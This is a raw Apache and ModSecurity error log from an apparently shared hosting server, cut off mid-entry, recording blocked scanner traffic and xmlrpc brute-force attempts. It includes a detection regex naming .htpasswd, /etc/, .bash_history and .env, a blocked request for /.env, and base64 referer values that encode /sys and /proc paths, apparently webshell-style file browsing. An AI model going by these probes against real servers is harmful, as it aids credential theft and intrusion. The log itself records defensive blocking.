[access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:23:41.544434 2026] [access_compat:error] [pid 715691:tid 715791] [remote 57.141.14.21:40613] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:41.544731 2026] [access_compat:error] [pid 715691:tid 715791] [remote 57.141.14.21:40613] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:41.728378 2026] [security2:error] [pid 715691:tid 715745] [remote 17.22.253.225:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30jbV-dFiaX9AtWiQmqwABSiM"] [Sat Jun 13 18:23:41.932035 2026] [security2:error] [pid 646876:tid 646916] [remote 17.246.23.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30jdyTkdrNlD40tSHT6wAAZSU"] [Sat Jun 13 18:23:42.016527 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.33:55501] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:42.016796 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.33:55501] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:42.033708 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:23:42.033966 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:23:42.394415 2026] [security2:error] [pid 715691:tid 715738] [remote 17.241.219.218:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30jrV-dFiaX9AtWiQmxgABEBw"] [Sat Jun 13 18:23:42.396109 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.47:54716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:42.396387 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.47:54716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:42.573184 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:23:42.573458 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:23:42.655557 2026] [security2:error] [pid 715691:tid 715795] [remote 57.141.14.32:36325] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30jrV-dFiaX9AtWiQmzwABVVQ"], referer: https://nelsonfarmstn.com/product/beeswax-lip-balm/?add_to_wishlist=550&_wpnonce=dacad5c21f&add-to-cart=1221 [Sat Jun 13 18:23:42.810324 2026] [security2:error] [pid 715691:tid 715808] [remote 17.241.75.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30jrV-dFiaX9AtWiQm1AABOWE"] [Sat Jun 13 18:23:42.849237 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.97:56198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:42.849522 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.97:56198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:42.904823 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.103:28628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:42.905248 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.103:28628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:42.997948 2026] [security2:error] [pid 715691:tid 715787] [remote 17.246.15.100:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30jrV-dFiaX9AtWiQm2AABWUw"] [Sat Jun 13 18:23:43.042718 2026] [access_compat:error] [pid 646876:tid 646950] [remote 57.141.14.109:42160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:43.043158 2026] [access_compat:error] [pid 646876:tid 646950] [remote 57.141.14.109:42160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:43.114172 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:43.114453 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:43.498545 2026] [security2:error] [pid 715691:tid 715786] [remote 17.22.237.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30j7V-dFiaX9AtWiQm5AABbks"] [Sat Jun 13 18:23:43.540071 2026] [access_compat:error] [pid 646876:tid 646897] [remote 57.141.14.22:37878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:43.540524 2026] [access_compat:error] [pid 646876:tid 646897] [remote 57.141.14.22:37878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:43.623742 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:43.624041 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:43.732451 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.52:34056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:43.732911 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.52:34056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:43.766723 2026] [security2:error] [pid 646876:tid 647019] [client 34.123.82.129:38598] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "ismcrm.wmxone.com"] [uri "/.env"] [unique_id "ai30j9yTkdrNlD40tSHUGgAAAAs"] [Sat Jun 13 18:23:43.907565 2026] [security2:error] [pid 715691:tid 715732] [remote 17.241.227.189:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 189.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30j7V-dFiaX9AtWiQm7QABRRY"] [Sat Jun 13 18:23:43.914799 2026] [security2:error] [pid 715691:tid 715725] [remote 52.167.144.160:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30j7V-dFiaX9AtWiQm7gABTg8"] [Sat Jun 13 18:23:43.920240 2026] [security2:error] [pid 646876:tid 647052] [client 210.217.96.217:50437] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30j9yTkdrNlD40tSHUHAAAACw"] [Sat Jun 13 18:23:43.920396 2026] [security2:error] [pid 646876:tid 647052] [client 210.217.96.217:50437] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30j9yTkdrNlD40tSHUHAAAACw"] [Sat Jun 13 18:23:43.964421 2026] [security2:error] [pid 715691:tid 715843] [client 172.56.168.133:11424] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30j7V-dFiaX9AtWiQm8wAAAQw"] [Sat Jun 13 18:23:43.964594 2026] [security2:error] [pid 715691:tid 715843] [client 172.56.168.133:11424] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30j7V-dFiaX9AtWiQm8wAAAQw"] [Sat Jun 13 18:23:43.987456 2026] [security2:error] [pid 715691:tid 715716] [remote 17.246.23.111:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 111.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30j7V-dFiaX9AtWiQm9QABFQY"] [Sat Jun 13 18:23:44.022660 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.20:33752] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:44.023081 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.20:33752] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:44.138749 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:23:44.139180 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:23:44.193372 2026] [lsapi:warn] [pid 715691:tid 715945] [client 66.249.72.32:41366] [host indoorenvironmentaltesting.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home4/indoore1/public_html/wp-content/plugins/real-time-find-and-replace/real-time-find-and-replace.php on line 258\n [Sat Jun 13 18:23:44.264060 2026] [security2:error] [pid 715691:tid 715811] [remote 17.22.245.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30kLV-dFiaX9AtWiQnAQABR2Q"] [Sat Jun 13 18:23:44.437868 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.227.22:54796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:23:44.438184 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.227.22:54796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:23:44.654276 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9kZXZpY2UvaW5wdXQyOjpjYXBzbG9jaw== [Sat Jun 13 18:23:44.654718 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9kZXZpY2UvaW5wdXQyOjpjYXBzbG9jaw== [Sat Jun 13 18:23:44.820579 2026] [security2:error] [pid 646876:tid 646907] [remote 74.7.227.22:54796] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability 